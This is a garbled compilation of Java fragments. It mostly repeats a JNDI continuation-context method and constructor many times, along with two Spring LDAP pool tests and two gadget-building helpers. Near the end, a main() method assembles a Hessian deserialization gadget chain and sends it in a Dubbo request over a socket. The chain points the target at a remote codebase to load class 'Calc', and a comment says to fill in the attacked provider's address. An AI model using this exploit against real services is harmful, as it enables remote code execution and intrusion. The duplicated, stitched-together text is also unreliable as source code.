/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 

/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 

/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 

/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 

/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 

/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 

/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 

/**
  * Creates a context in which to continue a {@code DirContext} operation.
  * Operates just like {@code NamingManager.getContinuationContext()},
  * only the continuation context returned is a {@code DirContext}.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null {@code DirContext} object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 

/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 

/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 

/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 

/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 

/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 

/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 

/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 

/**
  * Creates a context in which to continue a <tt>DirContext</tt> operation.
  * Operates just like <tt>NamingManager.getContinuationContext()</tt>,
  * only the continuation context returned is a <tt>DirContext</tt>.
  *
  * @param cpe
  *         The non-null exception that triggered this continuation.
  * @return A non-null <tt>DirContext</tt> object for continuing the operation.
  * @exception NamingException If a naming exception occurred.
  *
  * @see NamingManager#getContinuationContext(CannotProceedException)
  */
@SuppressWarnings("unchecked")
public static DirContext getContinuationDirContext(
        CannotProceedException cpe) throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>) env.clone();
    }
    env.put(CPE, cpe);

    return (new ContinuationDirContext(cpe, env));
}
 

public static DirContext makeContinuationContext ( String codebase, String clazz ) throws Exception {
    Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
    Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
    ccCons.setAccessible(true);
    CannotProceedException cpe = new CannotProceedException();
    Reflections.setFieldValue(cpe, "stackTrace", new StackTraceElement[0]);
    cpe.setResolvedObj(new Reference("Foo", clazz, codebase));
    return (DirContext) ccCons.newInstance(cpe, null);
}
 

public static DirContext makeContinuationContext ( String codebase, String clazz ) throws Exception {
    Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
    Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
    ccCons.setAccessible(true);
    CannotProceedException cpe = new CannotProceedException();
    Reflections.setFieldValue(cpe, "stackTrace", new StackTraceElement[0]);
    cpe.setResolvedObj(new Reference("Foo", clazz, codebase));
    return (DirContext) ccCons.newInstance(cpe, null);
}
 

@Test
@SuppressWarnings("unchecked")
public void verifyParsePoolingValidationSet() {
    ClassPathXmlApplicationContext ctx = new ClassPathXmlApplicationContext("/ldap-namespace-config-pooling-test-specified.xml");

    ContextSource outerContextSource = ctx.getBean(ContextSource.class);
    assertThat(outerContextSource).isNotNull();

    ContextSource pooledContextSource = ((TransactionAwareContextSourceProxy) outerContextSource).getTarget();
    assertThat(pooledContextSource).isNotNull();

    GenericKeyedObjectPool objectPool = (GenericKeyedObjectPool) getInternalState(pooledContextSource, "keyedObjectPool");
    assertThat(objectPool.getMinEvictableIdleTimeMillis()).isEqualTo(123);
    assertThat(objectPool.getTimeBetweenEvictionRunsMillis()).isEqualTo(321);
    assertThat(objectPool.getNumTestsPerEvictionRun()).isEqualTo(22);

    Object objectFactory = getInternalState(pooledContextSource, "dirContextPoolableObjectFactory");
    DefaultDirContextValidator validator = (DefaultDirContextValidator) getInternalState(objectFactory, "dirContextValidator");
    assertThat(validator.getBase()).isEqualTo("ou=test");
    assertThat(validator.getFilter()).isEqualTo("objectclass=person");

    SearchControls searchControls = ctx.getBean(SearchControls.class);
    assertThat(validator.getFilter()).isEqualTo("objectclass=person");
    assertThat(validator.getSearchControls()).isSameAs(searchControls);

    Set<Class<? extends Throwable>> nonTransientExceptions =
            (Set<Class<? extends Throwable>>) getInternalState(objectFactory, "nonTransientExceptions");
    assertThat(nonTransientExceptions).hasSize(2);
    assertThat(nonTransientExceptions.contains(CommunicationException.class)).isTrue();
    assertThat(nonTransientExceptions.contains(CannotProceedException.class)).isTrue();
}
 

@Test
public void verifyParsePool2ValidationSet() {
    ClassPathXmlApplicationContext ctx = new ClassPathXmlApplicationContext("/ldap-namespace-config-pool2-test-specified.xml");

    ContextSource outerContextSource = ctx.getBean(ContextSource.class);
    assertThat(outerContextSource).isNotNull();

    ContextSource pooledContextSource = ((TransactionAwareContextSourceProxy) outerContextSource).getTarget();
    assertThat(pooledContextSource).isNotNull();

    org.apache.commons.pool2.impl.GenericKeyedObjectPool objectPool =
            (org.apache.commons.pool2.impl.GenericKeyedObjectPool) getInternalState(pooledContextSource, "keyedObjectPool");
    assertThat(objectPool.getMinEvictableIdleTimeMillis()).isEqualTo(123);
    assertThat(objectPool.getTimeBetweenEvictionRunsMillis()).isEqualTo(321);
    assertThat(objectPool.getNumTestsPerEvictionRun()).isEqualTo(22);
    assertThat(objectPool.getSoftMinEvictableIdleTimeMillis()).isEqualTo(12);

    assertThat(objectPool.getTestOnBorrow()).isEqualTo(true);
    assertThat(objectPool.getTestOnReturn()).isEqualTo(true);
    assertThat(objectPool.getTestOnCreate()).isEqualTo(true);
    assertThat(objectPool.getTestWhileIdle()).isEqualTo(true);

    Object objectFactory = getInternalState(pooledContextSource, "dirContextPooledObjectFactory");
    org.springframework.ldap.pool2.validation.DefaultDirContextValidator validator =
            (org.springframework.ldap.pool2.validation.DefaultDirContextValidator) getInternalState(objectFactory, "dirContextValidator");
    assertThat(validator.getBase()).isEqualTo("ou=test");
    assertThat(validator.getFilter()).isEqualTo("objectclass=person");

    SearchControls searchControls = ctx.getBean(SearchControls.class);
    assertThat(validator.getFilter()).isEqualTo("objectclass=person");
    assertThat(validator.getSearchControls()).isSameAs(searchControls);

    Set<Class<? extends Throwable>> nonTransientExceptions =
            (Set<Class<? extends Throwable>>) getInternalState(objectFactory, "nonTransientExceptions");
    assertThat(nonTransientExceptions).hasSize(2);
    assertThat(nonTransientExceptions.contains(CommunicationException.class)).isTrue();
    assertThat(nonTransientExceptions.contains(CannotProceedException.class)).isTrue();
}
 

ContinuationDirContext(CannotProceedException cpe, Hashtable<?,?> env) {
    super(cpe, env);
}
 

ContinuationDirContext(CannotProceedException cpe, Hashtable<?,?> env) {
    super(cpe, env);
}
 

ContinuationDirContext(CannotProceedException cpe, Hashtable<?,?> env) {
    super(cpe, env);
}
 

ContinuationDirContext(CannotProceedException cpe, Hashtable<?,?> env) {
    super(cpe, env);
}
 

public static void main(String[] args) throws InterruptedException {
  try {
    Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
    Constructor<?> ccCons = ccCl
        .getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
    ccCons.setAccessible(true);
    CannotProceedException cpe = new CannotProceedException();
    Reflections.setFieldValue(cpe, "cause", null);
    Reflections.setFieldValue(cpe, "stackTrace", null);

    cpe.setResolvedObj(new Reference("Foo", "Calc", "http://127.0.0.1:8080/"));

    Reflections.setFieldValue(cpe, "suppressedExceptions", null);
    DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
    QName qName = new QName(ctx, "foo", "bar");

    Object o = ToStringUtil.makeToStringTrigger(qName);

    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

    // header.
    byte[] header = new byte[16];
    // set magic number.
    Bytes.short2bytes((short) 0xdabb, header);
    // set request and serialization flag.
    header[2] = (byte) ((byte) 0x80 | 0x20 | 2);

    // set request id.
    Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

    ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
    Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
    NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
    sf.setAllowNonSerializable(true);
    out.setSerializerFactory(sf);

    out.writeObject(o);
    out.flushBuffer();
    if (out instanceof Cleanable) {
      ((Cleanable) out).cleanup();
    }

    Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
    byteArrayOutputStream.write(header);
    byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());

    byte[] bytes = byteArrayOutputStream.toByteArray();

    //todo 此处填写被攻击的dubbo服务提供者地址和端口
    Socket socket = new Socket("127.0.0.1", 20880);
    OutputStream outputStream = socket.getOutputStream();
    outputStream.write(bytes);
    outputStream.flush();
    outputStream.close();
  } catch (Exception e) {
    e.printStackTrace();
  }
}
 

ContinuationDirContext(CannotProceedException cpe, Hashtable<?,?> env) {
    super(cpe, env);
}
 

ContinuationDirContext(CannotProceedException cpe, Hashtable<?,?> env) {
    super(cpe, env);
}
 

ContinuationDirContext(CannotProceedException cpe, Hashtable<?,?> env) {
    super(cpe, env);
}
 

ContinuationDirContext(CannotProceedException cpe, Hashtable<?,?> env) {
    super(cpe, env);
}
 

ContinuationDirContext(CannotProceedException cpe, Hashtable<?,?> env) {
    super(cpe, env);
}